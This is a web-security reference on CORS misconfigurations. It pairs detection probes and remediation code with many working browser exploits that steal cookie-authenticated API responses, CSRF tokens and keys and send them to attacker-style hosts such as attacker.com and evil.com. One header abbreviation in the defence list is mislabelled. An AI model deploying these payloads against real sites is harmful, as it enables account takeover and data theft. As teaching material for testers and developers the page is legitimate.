ᛉ Yggdrasil

Web

Cross-Origin Resource Sharing (CORS)

17 Sep 2026 · 4,979 words · 23 min

Contents

A complete operational reference for Cross-Origin Resource Sharing (CORS) misconfigurations covering detection, exploitation, trust chain abuse, null origin, pre-flight bypass, credential theft, post-message chaining, subdomain pivoting, and remediation. Covers both attacker techniques and secure developer implementation. Mapped to MITRE ATT&CK T1190 / T1539.


1. Core Concepts & How CORS Works

THE SAME-ORIGIN POLICY (SOP):

SAME-ORIGIN POLICY
├── A web page can freely read responses from requests to its OWN origin
│   └── Origin = scheme + host + port  (https://example.com:443)
│
├── Cross-origin reads are BLOCKED by the browser unless the server
│   explicitly allows them via CORS headers
│
└── Cross-origin WRITES (form POSTs, navigation) are allowed by default
    └── This is the distinction CSRF exploits — CORS is a read control

Key Terms:

  • Origin — the combination of scheme://host:port. https://a.com ≠ http://a.com ≠ https://a.com:8080.
  • SOP — Same-Origin Policy — browser security model that prevents cross-origin reads by default.
  • CORS — Cross-Origin Resource Sharing — W3C mechanism that lets servers declare which origins may read their responses.
  • Simple Request — GET / POST with only basic headers and safe content-types. No pre-flight needed. Dangerous because it sends cookies automatically.
  • Pre-flight — OPTIONS request the browser sends before a non-simple cross-origin request, to ask if the actual request is allowed.
  • ACAO — Access-Control-Allow-Origin response header. The key CORS header.
  • ACAC — Access-Control-Allow-Credentials: true — allows cookies/auth headers to be included in cross-origin requests and their responses to be readable.
  • ACAM — Access-Control-Allow-Methods — list of allowed HTTP methods.
  • ACAH — Access-Control-Allow-Headers — list of allowed request headers.
  • ACMA — Access-Control-Max-Age — how long a pre-flight result can be cached.
  • Reflected Origin — server blindly echoes back whatever Origin: header the request sent as the ACAO value — critical misconfiguration.
  • Null Origin — origin value null sent by browsers for sandboxed iframes, local files, data URIs, redirects. Some servers explicitly trust it.

The CORS Flow:

SIMPLE REQUEST (GET / safe POST — no pre-flight):
Browser                        Server
   │── GET /api/data ──────────────────────────────────>│
   │   Origin: https://attacker.com                     │
   │                                                    │
   │<── 200 OK ─────────────────────────────────────────│
   │   Access-Control-Allow-Origin: https://attacker.com │
   │   Access-Control-Allow-Credentials: true            │
   │                                                    │
   └── Browser allows JS to read the response ─────────┘

PRE-FLIGHT (for non-simple methods / headers):
Browser                        Server
   │── OPTIONS /api/data ──────────────────────────────>│
   │   Origin: https://attacker.com                     │
   │   Access-Control-Request-Method: DELETE            │
   │   Access-Control-Request-Headers: X-Custom-Header  │
   │                                                    │
   │<── 204 No Content ──────────────────────────────── │
   │   Access-Control-Allow-Origin: https://attacker.com │
   │   Access-Control-Allow-Methods: DELETE             │
   │   Access-Control-Allow-Headers: X-Custom-Header    │
   │                                                    │
   │── DELETE /api/data ─────────────────────────────── │  (actual request follows)

CORS vs CSRF:

  • CORS misconfiguration = attacker can READ cross-origin responses (account data, tokens, API keys).
  • CSRF = attacker can WRITE / trigger actions cross-origin (state-changing requests with victim's cookies).
  • CORS with ACAC: true + reflected origin = BOTH read and write possible from attacker's origin.

2. CORS Headers Reference

2.1 Response Headers (Server → Browser)

Header Purpose Dangerous Value
Access-Control-Allow-Origin Which origins may read the response * or reflected Origin value
Access-Control-Allow-Credentials Allow cookies/auth in cross-origin requests true (combined with loose ACAO)
Access-Control-Allow-Methods Permitted methods in actual request * or overly broad list
Access-Control-Allow-Headers Permitted request headers * or overly broad list
Access-Control-Expose-Headers Extra response headers JS can access Leaks sensitive headers
Access-Control-Max-Age Pre-flight cache duration (seconds) Very large values

2.2 Request Headers (Browser → Server)

Header Set by Notes
Origin Browser (automatic) Set on all cross-origin requests; cannot be overridden by JS
Access-Control-Request-Method Browser (pre-flight only) Announces the intended method
Access-Control-Request-Headers Browser (pre-flight only) Announces non-simple headers

2.3 Simple vs Non-Simple Requests

SIMPLE REQUEST (no pre-flight triggered):
├── Methods: GET, HEAD, POST
├── Content-Type (if POST): application/x-www-form-urlencoded
│                           multipart/form-data
│                           text/plain
└── No custom headers (beyond CORS-safe list)

NON-SIMPLE REQUEST (pre-flight required):
├── Methods: PUT, DELETE, PATCH, OPTIONS, CONNECT, TRACE
├── Content-Type: application/json, application/xml, etc.
└── Any custom headers: Authorization, X-API-Key, X-Requested-With, etc.

IMPORTANT: Simple requests send cookies automatically WITHOUT a pre-flight.
           If the server returns ACAO for that origin, the response is readable.
           This means a misconfigured endpoint is exploitable via a simple GET,
           even without triggering the pre-flight OPTIONS check.

3. CORS Misconfiguration Taxonomy

CORS MISCONFIGURATION TYPES
│
├── REFLECTED ORIGIN (Critical)
│   └── Server echoes any Origin value back as ACAO
│       → Full cross-origin read from any attacker domain
│
├── WILDCARD + CREDENTIALS (Critical — spec-invalid but server logic can allow)
│   └── ACAO: * with ACAC: true (browsers reject spec-wise, but
│       server-side validation gaps can make this exploitable in non-browser clients)
│
├── NULL ORIGIN TRUST (High)
│   └── ACAO: null explicitly returned
│       → Exploitable via sandboxed iframe with data: URI
│
├── WEAK REGEX / PREFIX / SUFFIX MATCHING (High)
│   ├── Prefix: trusting "startsWith attacker-controlled subdomain"
│   │   → attacker.com.evil.com / attackerXXX.com
│   ├── Suffix: trusting "endsWith target.com"
│   │   → evil-target.com / xxtarget.com
│   └── Escaped dot: /^https:\/\/target\.com/ misimplemented as
│       /^https:\/\/target.com/ → targetXcom can match (rare)
│
├── SUBDOMAIN WILDCARD (High)
│   └── Trusting *.target.com — any subdomain, including a compromised one,
│       can read responses from the API
│
├── HTTP ORIGIN TRUST (Medium)
│   └── Trusting http:// variant of an https:// API
│       → Allows downgrade / MITM pivot
│
└── OVERLY BROAD WHITELIST (Medium)
    └── Trusting development / staging / partner origins in production
        → dev.target.com, staging.target.com, partner.otherdomain.com

4. Detection & Fingerprinting

4.1 Manual Detection — Probe With curl

# Probe 1: Does the server reflect an arbitrary origin?
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user
# Look for: Access-Control-Allow-Origin: https://evil.com
# And:      Access-Control-Allow-Credentials: true

# Probe 2: Does the server trust null origin?
curl -s -I -H "Origin: null" https://target.com/api/user
# Look for: Access-Control-Allow-Origin: null

# Probe 3: Does a subdomain pattern match?
curl -s -I -H "Origin: https://target.com.evil.com" https://target.com/api/user
curl -s -I -H "Origin: https://evil-target.com" https://target.com/api/user
curl -s -I -H "Origin: https://notreallytarget.com" https://target.com/api/user

# Probe 4: Check pre-flight OPTIONS
curl -s -I -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  https://target.com/api/user

# Probe 5: HTTP downgrade
curl -s -I -H "Origin: http://target.com" https://target.com/api/user

# Probe 6: Port variation
curl -s -I -H "Origin: https://target.com:8080" https://target.com/api/user

4.2 Response Interpretation

Received ACAO: https://evil.com  +  ACAC: true   → CRITICAL — full exploit
Received ACAO: https://evil.com  +  no ACAC       → Read-only (no cookies) — still useful for API key theft
Received ACAO: *                 +  no ACAC       → Wildcard — public data only (cannot use with credentials per spec)
Received ACAO: null              +  ACAC: true    → Null origin exploit possible
No ACAO header                                    → Not vulnerable (SOP blocks cross-origin read)
ACAO: https://target.com (static, not reflected)  → Correct — investigate if you control that origin

4.3 Identifying Injection Points to Test

→ REST API endpoints:          /api/v1/user  /api/account  /api/profile
→ Auth endpoints:              /auth/token  /oauth/callback  /login
→ AJAX endpoints reflected:    Any XHR target in JS source
→ Admin / internal APIs:       /admin/api/*  /internal/*
→ GraphQL:                     /graphql  /api/graphql
→ WebSocket upgrade endpoints: Check for CORS headers on HTTP upgrade
→ CDN / static asset origins:  Sometimes misconfigured to allow credential reads
→ Third-party integrations:    SSO endpoints, payment APIs, analytics
→ Vary: Origin header present: Server is doing origin-based logic — always worth probing

4.4 Indicator — Vary: Origin

curl -s -I https://target.com/api/user | grep -i vary
# Vary: Origin → server is computing ACAO per request → probe for reflection
# No Vary header → likely static ACAO or no CORS at all

5. Reflected Origin — Full Trust Misconfiguration

What it is: The server reads the Origin request header and echoes it back verbatim as Access-Control-Allow-Origin, combined with Access-Control-Allow-Credentials: true.

Server-side anti-pattern:

// Node.js / Express — VULNERABLE:
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);  // ← reflects any origin
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

// Python / Flask — VULNERABLE:
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin   # ← reflects any origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Detection:

curl -s -I \
  -H "Origin: https://attacker-controlled.com" \
  https://target.com/api/sensitive-endpoint

# Vulnerable response:
# HTTP/2 200
# access-control-allow-origin: https://attacker-controlled.com
# access-control-allow-credentials: true

Exploit — Steal Authenticated Response:

<!-- Host this on https://attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
  fetch('https://target.com/api/account', {
    credentials: 'include'   // sends victim's cookies
  })
  .then(r => r.text())
  .then(data => {
    // Exfiltrate stolen data
    fetch('https://attacker.com/collect?d=' + btoa(data));
  });
</script>
</body>
</html>

Exploit — XHR version (wider browser compat):

<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    fetch('https://attacker.com/collect?d=' + btoa(xhr.responseText));
  }
};
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;   // sends cookies
xhr.send();
</script>

Exploit — Extract API Keys / Tokens from response body:

<script>
fetch('https://target.com/api/settings', { credentials: 'include' })
  .then(r => r.json())
  .then(json => {
    // Steal specific fields
    var leak = {
      api_key: json.api_key,
      secret:  json.secret,
      token:   json.auth_token
    };
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(leak));
  });
</script>

6. Wildcard Misconfiguration

What it is: Access-Control-Allow-Origin: * — allows any origin to read the response.

CRITICAL RULE:
ACAO: *  +  ACAC: true  → Browsers REFUSE to send/read this combination per spec.
ACAO: *  without ACAC   → Works for unauthenticated public endpoints — any origin can read.

When is * still a problem?
├── Endpoint returns sensitive data without authentication
│   → ACAO: * leaks that data to any malicious page the user visits
├── Token passed in URL / query string (not cookies / auth header)
│   → fetch('https://target.com/api?token=SECRET') + ACAO: * = token theft
└── Non-browser clients (curl, mobile, server-side) ignore ACAC restrictions
    → ACAO: * + ACAC: true is exploitable from non-browser attack surfaces

Detection:

curl -s -I https://target.com/api/public-but-sensitive
# access-control-allow-origin: *
# Check: Does the response contain anything useful even without auth?
# Check: Is a token/key passed in the URL that gets included in the response?

Exploit — Read unauthenticated sensitive endpoint:

<script>
// Even without credentials, if the endpoint returns sensitive data:
fetch('https://target.com/api/config')   // no credentials needed
  .then(r => r.json())
  .then(data => {
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
  });
</script>

7. Null Origin Abuse

What it is: Some servers explicitly whitelist Origin: null. Browsers send null as the origin for:

  • Pages loaded from file://
  • data: URI pages
  • Sandboxed iframes (sandbox attribute without allow-same-origin)
  • Redirected cross-origin requests (some browsers)
  • Locally-opened HTML files

Detection:

curl -s -I -H "Origin: null" https://target.com/api/user
# Vulnerable response:
# access-control-allow-origin: null
# access-control-allow-credentials: true

Exploit — Sandboxed iframe with data URI:

<!-- The outer page sends a sandboxed iframe. The iframe's origin is "null".
     The server trusts null. The response is readable by the iframe, which
     passes it to the outer page via postMessage. -->

<iframe sandbox="allow-scripts allow-top-navigation-by-user-activation"
        srcdoc="
<script>
  fetch('https://target.com/api/account', { credentials: 'include' })
    .then(r => r.text())
    .then(data => {
      parent.postMessage(data, '*');
    });
</script>
"></iframe>

<script>
  window.addEventListener('message', function(e) {
    fetch('https://attacker.com/collect?d=' + btoa(e.data));
  });
</script>

Why sandbox without allow-same-origin? The sandbox attribute removes the iframe's same-origin relationship with the parent. The browser assigns it null as its origin — matching what the server trusted.


8. Subdomain Trust & Subdomain Takeover Chaining

What it is: Server trusts any subdomain of a target domain — *.target.com. If an attacker controls any subdomain (via takeover or XSS), they can read CORS-protected responses.

Detection:

# Test if any subdomain of target.com is trusted:
curl -s -I -H "Origin: https://anything.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://dev.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://staging.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://test.target.com" https://api.target.com/user

Subdomain Takeover → CORS Chain:

ATTACK CHAIN:
1. Find subdomain trusted in CORS policy: dev.target.com
2. Find that dev.target.com points to an unclaimed resource:
   → GitHub Pages (CNAME to username.github.io — user deleted)
   → Heroku (CNAME to myapp.herokuapp.com — app deleted)
   → S3 (CNAME to mybucket.s3.amazonaws.com — bucket deleted)
   → Netlify, Fastly, Azure, Shopify, etc.
3. Claim the external resource (create the GitHub Pages repo, claim the Heroku app)
4. Host CORS exploit on dev.target.com
5. Now https://dev.target.com/exploit.html can read https://api.target.com/user
   with victim's credentials → CORS policy trusted it
# Find dangling CNAMEs for target subdomains:
# Tools: subjack, nuclei, dnsx, can-i-take-over-xyz list

# Manual check:
dig CNAME dev.target.com
# If points to username.github.io → try creating that GitHub Pages repo
# If NXDOMAIN or no-such-bucket error → takeover likely possible

# Confirm takeover:
curl -I https://dev.target.com
# "There isn't a GitHub Pages site here" → you can claim it
# "NoSuchBucket" → S3 takeover possible

Exploit payload once takeover is achieved:

<!-- Hosted on taken-over subdomain: dev.target.com/exploit.html -->
<script>
fetch('https://api.target.com/v1/account', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  navigator.sendBeacon('https://your-collector.com/steal', JSON.stringify(data));
});
</script>

9. Regex / Prefix-Suffix Origin Validation Bypass

What it is: The server attempts to validate the Origin header using a regex or string match that can be tricked by crafted domain names.

9.1 Suffix Match Bypass

# Server-side (VULNERABLE):
def is_allowed_origin(origin):
    return origin.endswith('target.com')   # ← suffix check

# Bypass: Origin: https://evil-target.com        → ends with target.com ✓
#         Origin: https://notreallytarget.com    → ends with target.com ✓
#         Origin: https://xxtarget.com           → ends with target.com ✓
curl -s -I -H "Origin: https://evil-target.com" https://api.target.com/user
curl -s -I -H "Origin: https://attackertarget.com" https://api.target.com/user

9.2 Prefix Match Bypass

# Server-side (VULNERABLE):
def is_allowed_origin(origin):
    return origin.startswith('https://target.com')   # ← prefix check

# Bypass: Origin: https://target.com.evil.com         → starts with https://target.com ✓
#         Origin: https://target.com.attacker.io      → starts with https://target.com ✓
curl -s -I -H "Origin: https://target.com.evil.com" https://api.target.com/user

9.3 Unescaped Dot in Regex

# Server-side (VULNERABLE):
import re
def is_allowed_origin(origin):
    return re.match(r'^https://target.com$', origin)  # ← dot not escaped

# Bypass: Origin: https://targetXcom   → dot matches any character ✓
# (rare in practice, but real in legacy code)
curl -s -I -H "Origin: https://targetXcom" https://api.target.com/user

9.4 Other Regex Pitfalls

# VULNERABLE patterns and their bypasses:
r'target\.com'           # matches anywhere in string → evil.target.com.attacker.io
r'^https?://target\.com' # allows http:// → HTTP downgrade MITM
r'target\.com$'          # suffix match → evil-target.com
r'^https://target\.com'  # prefix match → target.com.evil.com (if no $ anchor)

# SAFE pattern:
r'^https://target\.com$'                          # exact match
r'^https://(www\.)?target\.com$'                  # with www
r'^https://([a-z0-9-]+\.)?target\.com$'           # subdomains only

10. Pre-flight Bypass & Simple Request Abuse

What it is: Simple requests (GET, POST with form content-type) do not trigger a pre-flight. Many developers test their CORS by checking what OPTIONS returns — but forget that GET requests skip this check entirely.

PRE-FLIGHT BYPASS SCENARIOS:
│
├── Sensitive data on GET endpoint
│   → No pre-flight needed. If ACAO is misconfigured, data is readable directly.
│
├── State-changing action via POST with text/plain or form body
│   → No pre-flight. Combined CORS + CSRF.
│   → E.g.: POST /api/transfer with body "amount=1000&to=attacker"
│           Content-Type: text/plain   ← simple request, no pre-flight
│
├── Server only validates pre-flight OPTIONS, not actual request
│   → OPTIONS returns ACAO: specific-origin
│   → GET/POST actual requests: returns ACAO: * or reflects origin
│   → Attacker skips OPTIONS, sends actual request directly
│
└── Cache poisoning of pre-flight response
    → Pre-flight cached with ACMA (Access-Control-Max-Age) for long duration
    → Overwrite cache with malicious Origin → victim's browser uses cached bad response

Test: Does the server skip pre-flight validation on the actual request?

# Check pre-flight:
curl -s -I -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: POST" \
  https://target.com/api/transfer
# Returns 403 / no ACAO → seems safe

# Check actual request — does it still reflect origin?
curl -s -I -X POST \
  -H "Origin: https://evil.com" \
  -H "Content-Type: application/json" \
  -d '{"amount":1000}' \
  https://target.com/api/transfer
# Returns ACAO: https://evil.com → VULNERABLE (bypassed pre-flight)

Simple POST exploit (form-based, no pre-flight):

<script>
// POST with text/plain bypasses pre-flight entirely:
fetch('https://target.com/api/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'text/plain' },
  body: 'email=attacker@evil.com'
});
// If server processes this despite wrong content-type → CSRF via CORS
</script>

11. Credential Theft via Trusted Origin

What it is: Chaining CORS misconfiguration with XSS on a trusted origin — even a minor/reflected XSS on a trusted subdomain becomes a full account takeover if the API trusts that subdomain's origin.

ATTACK CHAIN:
1. CORS policy: API trusts https://blog.target.com
2. Attacker finds XSS in blog.target.com (reflected, stored, DOM)
3. XSS payload fetches https://api.target.com/account
   → Origin: https://blog.target.com is trusted
   → ACAC: true → victim's session cookie is included
   → Response readable → full account data / tokens stolen
4. Escalate: change password, steal 2FA codes, create API keys

XSS → CORS Exploit Payload:

// Injected via XSS on blog.target.com
fetch('https://api.target.com/v1/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  var img = new Image();
  img.src = 'https://attacker.com/c?' + btoa(JSON.stringify(data));
});

Enumerate trusted origins from JavaScript source:

# Look for CORS origin lists hardcoded in server code or JS config bundles:
curl -s https://target.com/static/main.js | grep -E "(allowedOrigins|corsOrigins|whitelist|origins)"

# Check API error responses for hints:
curl -s -H "Origin: https://test.com" https://api.target.com/v1/user
# Some servers return: {"error":"Origin https://test.com not allowed","allowed":["https://target.com","https://blog.target.com"]}

12. postMessage Chaining

What it is: window.postMessage is used for cross-frame communication. Misconfigured postMessage receivers that don't validate event.origin can be chained with CORS to exfiltrate data.

Vulnerable receiver (target page):

// On target.com — VULNERABLE:
window.addEventListener('message', function(event) {
  // No origin check!
  document.getElementById('output').innerHTML = event.data;
});

Exploit: CORS read → postMessage exfil:

<!-- Attacker page -->
<iframe id="victim" src="https://target.com/dashboard"></iframe>
<script>
window.addEventListener('message', function(e) {
  // Receive data sent by victim frame's misconfigured listener
  fetch('https://attacker.com/collect?d=' + btoa(e.data));
});

setTimeout(function() {
  // Send malicious command to victim frame's postMessage listener
  document.getElementById('victim').contentWindow.postMessage(
    '<img src=x onerror="fetch(\'https://api.target.com/account\',{credentials:\'include\'}).then(r=>r.text()).then(d=>parent.postMessage(d,\'*\'))">',
    '*'  // no target origin restriction
  );
}, 1000);
</script>

Detect misconfigured postMessage:

# Search for message listeners without origin checks:
curl -s https://target.com/app.js | grep -A5 "addEventListener.*message"

# Look for:
# window.addEventListener('message', function(e) {
#   ... e.data used without checking e.origin

13. CORS + Other Vulnerabilities (Attack Chains)

13.1 CORS + CSRF

CORS misconfiguration (reflected origin + ACAC: true) makes anti-CSRF tokens readable:
1. Victim visits attacker page
2. Attacker fetches /api/csrf-token with victim's cookies (CORS + credentials)
3. CORS policy returns ACAO for attacker origin → token readable
4. Attacker uses stolen CSRF token to submit state-changing request
5. Full CSRF even with token protection
<script>
// Step 1: Steal the CSRF token via CORS
fetch('https://target.com/api/csrf-token', { credentials: 'include' })
  .then(r => r.json())
  .then(data => {
    var token = data.csrf_token;
    // Step 2: Use stolen token for CSRF action
    return fetch('https://target.com/api/account/delete', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token
      },
      body: JSON.stringify({ confirm: true })
    });
  });
</script>

13.2 CORS + OAuth

CORS misconfiguration on OAuth callback / token endpoint:
1. OAuth flow returns access_token in JSON response body
2. CORS misconfiguration allows attacker origin to read that response
3. Attacker steals access_token → full OAuth account access

Steps:
1. Trigger OAuth flow with victim's browser (phishing, open redirect on provider)
2. CORS request to /oauth/token endpoint with victim's session
3. Read token from JSON response

13.3 CORS + SSRF

If the CORS-trusted origin can be influenced (e.g., via an open redirect):
→ https://target.com/redirect?url=https://attacker.com
→ Origin of response: https://target.com (trusted)
→ Redirect destination: reads from internal network via SSRF
→ CORS allows attacker to read the SSRF response

13.4 CORS + Subdomain Takeover (full chain)

Full attack chain:
1. Find api.target.com returns:  Access-Control-Allow-Origin: https://*.target.com
                                 Access-Control-Allow-Credentials: true
2. Find legacy.target.com CNAME → deleted-app.heroku.com  (dangling DNS)
3. Claim deleted-app on Heroku → control legacy.target.com
4. Host exploit on legacy.target.com/pwn.html
5. Phish victim → victim visits legacy.target.com/pwn.html
6. Page fetches api.target.com/account with victim's cookies
7. CORS policy: Origin https://legacy.target.com is a *.target.com subdomain → trusted
8. Response readable → steal account data, tokens, PII

14. Automation — Tools & Wordlists

14.1 Corsy

# Fast CORS misconfiguration scanner
pip install corsy

corsy -u https://target.com/api/user
corsy -u https://target.com/api/user -H "Cookie: session=abc123"    # with auth
corsy -i urls.txt                                                     # bulk scan
corsy -u https://target.com -t 20                                    # 20 threads

14.2 CORStest

git clone https://github.com/RUB-NDS/CORStest
python corstest.py urls.txt
python corstest.py -c "session=abc" urls.txt    # with cookie

14.3 Burp Suite

Active Scan → checks for CORS misconfigurations automatically
Manual testing:
  1. Intercept request → Send to Repeater
  2. Add header: Origin: https://evil.com
  3. Check response for ACAO / ACAC headers
  4. Try Origin: null, Origin: https://target.com.evil.com, etc.

Burp Collaborator:
  → Use Collaborator URL as Origin value
  → If server reflects it → confirmed external origin trust

14.4 ffuf / Custom Origin Wordlist Fuzzing

# Fuzz origin values:
ffuf -u https://target.com/api/user \
     -H "Origin: FUZZ" \
     -w origins-wordlist.txt \
     -mr "access-control-allow-origin" \
     -H "Cookie: session=TOKEN"

# Origins wordlist content:
# https://evil.com
# https://target.com.evil.com
# https://evil-target.com
# https://eviltarget.com
# null
# https://target.com:8080
# http://target.com
# https://127.0.0.1
# https://localhost
# https://dev.target.com
# https://staging.target.com

14.5 Nuclei Templates

# CORS misconfig templates:
nuclei -u https://target.com -t cors-misconfig.yaml
nuclei -u https://target.com -tags cors

# Key templates:
# cors-misconfig — reflected origin
# cors-wildcard  — wildcard detection
# cors-null      — null origin trust

14.6 Manual Bash One-liner Scan

# Quick scan a list of endpoints:
while IFS= read -r url; do
  origin_reflected=$(curl -s -o /dev/null -D - \
    -H "Origin: https://evil-cors-test.com" "$url" \
    | grep -i "access-control-allow-origin: https://evil-cors-test.com")
  if [ -n "$origin_reflected" ]; then
    echo "[VULN] $url"
  fi
done < endpoints.txt

15. Remediation

15.1 Strict Origin Allowlist (Server-Side)

# Python / Flask — SAFE:
ALLOWED_ORIGINS = {
    'https://app.target.com',
    'https://www.target.com',
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'   # CRITICAL — tell caches this varies
    return response
// Node.js / Express — SAFE (using cors package):
const cors = require('cors');

const corsOptions = {
  origin: function (origin, callback) {
    const allowed = ['https://app.target.com', 'https://www.target.com'];
    // Reject requests with no origin (non-browser) unless explicitly needed
    if (!origin) return callback(new Error('No origin'), false);
    if (allowed.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'), false);
    }
  },
  credentials: true,
};

app.use(cors(corsOptions));
// Spring Boot — SAFE:
@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://app.target.com", "https://www.target.com")
            .allowedMethods("GET", "POST", "PUT", "DELETE")
            .allowedHeaders("Authorization", "Content-Type")
            .allowCredentials(true)
            .maxAge(3600);
        // Never use .allowedOriginPatterns("*") with .allowCredentials(true)
    }
}

15.2 Never Reflect Origin Blindly

# VULNERABLE — never do this:
response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin')

# SAFE — always validate against a strict allowlist first:
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
# If not in allowlist: do NOT set ACAO at all — SOP blocks it

15.3 Never Trust null Origin

# VULNERABLE:
if origin == 'null' or origin in ALLOWED_ORIGINS:   # ← null is dangerous

# SAFE:
if origin in ALLOWED_ORIGINS:   # null is never in the set

15.4 Always Set Vary: Origin

When you set ACAO based on the request Origin value, you MUST add:
    Vary: Origin
to the response.

Without it, caches (CDN, proxy, browser) may cache a response with one
ACAO value and serve it to a different origin — causing both security
issues and broken behavior.
response.headers['Vary'] = 'Origin'

15.5 Wildcard Rules

ACAO: *  → Safe ONLY for:
  ├── Truly public endpoints with no sensitive data
  ├── Public CDN assets
  └── Open APIs that intentionally serve anonymous content

ACAO: *  → NEVER for:
  ├── Authenticated endpoints
  ├── Endpoints that return user data
  ├── Endpoints that accept session cookies
  └── Any endpoint behind login

15.6 Validate Regex Origin Patterns Correctly

import re

ALLOWED_PATTERN = re.compile(
    r'^https://(www\.)?target\.com$'   # ^ anchor + $ anchor + escaped dot
)

def is_allowed_origin(origin):
    if not origin:
        return False
    return bool(ALLOWED_PATTERN.match(origin))

# For subdomain allowlisting (if strictly necessary):
SUBDOMAIN_PATTERN = re.compile(
    r'^https://[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?\.target\.com$'
)
# Even then: scope to specific trusted subdomains, not all of *.target.com

15.7 Defense-in-Depth

PRIMARY CONTROL:
├── Strict origin allowlist — explicit list of trusted origins, no patterns
├── Never reflect Origin header without validation
├── Never trust null origin
└── Set Vary: Origin on all CORS-aware responses

SECONDARY CONTROLS:
├── Keep ACAC: true only on endpoints that genuinely need authenticated cross-origin reads
├── Prefer sending tokens in Authorization header (non-simple → pre-flight required)
│   over cookies (simple request → no pre-flight needed)
├── Use CSRF tokens for state-changing endpoints even with CORS
├── Scope CORS headers to the minimum required path (/api/public, not /*)
├── Set restrictive ACAM (Access-Control-Max-Age) — short pre-flight cache
└── Remove dev/staging origins from production CORS configs

DETECTION:
├── Log all CORS rejections (Origin not in allowlist)
├── Alert on unusual volumes of cross-origin requests from unexpected origins
├── DAST scanning with Corsy / Burp in CI/CD pipeline
├── SAST — grep codebase for origin-reflection patterns
│   grep -r "req.headers.origin\|request.origin\|getHeader.*Origin" --include="*.js" .
└── Penetration test CORS headers on all API endpoints regularly

16. Master Cheat Sheet

Attack Decision Tree

Target has an API or authenticated endpoint?
│
├── Add header: Origin: https://evil.com
│   ├── Response includes: Access-Control-Allow-Origin: https://evil.com ?
│   │   ├── + Access-Control-Allow-Credentials: true?
│   │   │   └── CRITICAL — full exploit with victim's cookies
│   │   │       → Use fetch() with credentials: 'include'
│   │   └── No ACAC?
│   │       └── Can still read unauthenticated responses / tokens in body
│   │
│   └── No reflection? → Try further probes:
│       ├── Origin: null
│       │   → ACAO: null + ACAC: true → sandboxed iframe exploit
│       ├── Origin: https://target.com.evil.com
│       │   → ACAO reflects it → prefix/regex bypass
│       ├── Origin: https://evil-target.com
│       │   → ACAO reflects it → suffix regex bypass
│       ├── Origin: https://dev.target.com / https://staging.target.com
│       │   → ACAO reflects → subdomain in allowlist
│       │   → Check if that subdomain is takeover-able
│       └── Origin: http://target.com
│           → ACAO reflects → HTTP downgrade trusted
│
├── ACAO: * present?
│   ├── Does endpoint return sensitive data without auth?
│   │   └── Read without credentials via simple fetch()
│   └── Is auth token passed in URL / query string?
│       └── Token readable cross-origin without credentials
│
├── Subdomain in CORS whitelist (dev/staging/legacy)?
│   ├── Check subdomain DNS for dangling CNAME
│   ├── Tools: subfinder, dnsx, subjack, nuclei
│   └── Claim dangling resource → host exploit on trusted subdomain
│
├── XSS found on any trusted origin?
│   └── XSS → CORS → steal authenticated API responses
│
└── No CORS header at all?
    └── Not exploitable via CORS — check for CSRF separately

Quick Payload Reference

# ── Detection Probes ──
curl -s -I -H "Origin: https://evil.com" TARGET/api/endpoint
curl -s -I -H "Origin: null" TARGET/api/endpoint
curl -s -I -H "Origin: https://TARGET.evil.com" TARGET/api/endpoint      # prefix bypass
curl -s -I -H "Origin: https://evil-TARGET.com" TARGET/api/endpoint      # suffix bypass
curl -s -I -H "Origin: http://TARGET.com" TARGET/api/endpoint            # HTTP downgrade
curl -s -I -H "Origin: https://dev.TARGET.com" TARGET/api/endpoint       # subdomain check

# ── Confirm with ACAC ──
curl -s -I -H "Origin: https://evil.com" TARGET/api/endpoint \
  | grep -iE "(access-control-allow-origin|access-control-allow-credentials)"

# ── Full Exploit (Reflected Origin + ACAC) ──
# Host on evil.com:
fetch('https://TARGET/api/account', { credentials: 'include' })
  .then(r => r.json())
  .then(d => navigator.sendBeacon('https://evil.com/c', JSON.stringify(d)));

# ── Null Origin Exploit ──
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://TARGET/api/account', { credentials: 'include' })
      .then(r => r.text())
      .then(d => parent.postMessage(d, '*'));
  </script>
"></iframe>

# ── Read-only (no credentials) ──
fetch('https://TARGET/api/config')   // no credentials needed if ACAO: *
  .then(r => r.text())
  .then(d => fetch('https://evil.com/c?d=' + btoa(d)));

# ── CSRF token theft via CORS ──
fetch('https://TARGET/api/csrf-token', { credentials: 'include' })
  .then(r => r.json())
  .then(data => {
    return fetch('https://TARGET/api/account/delete', {
      method: 'POST', credentials: 'include',
      headers: { 'X-CSRF-Token': data.token, 'Content-Type': 'application/json' },
      body: JSON.stringify({ confirm: true })
    });
  });

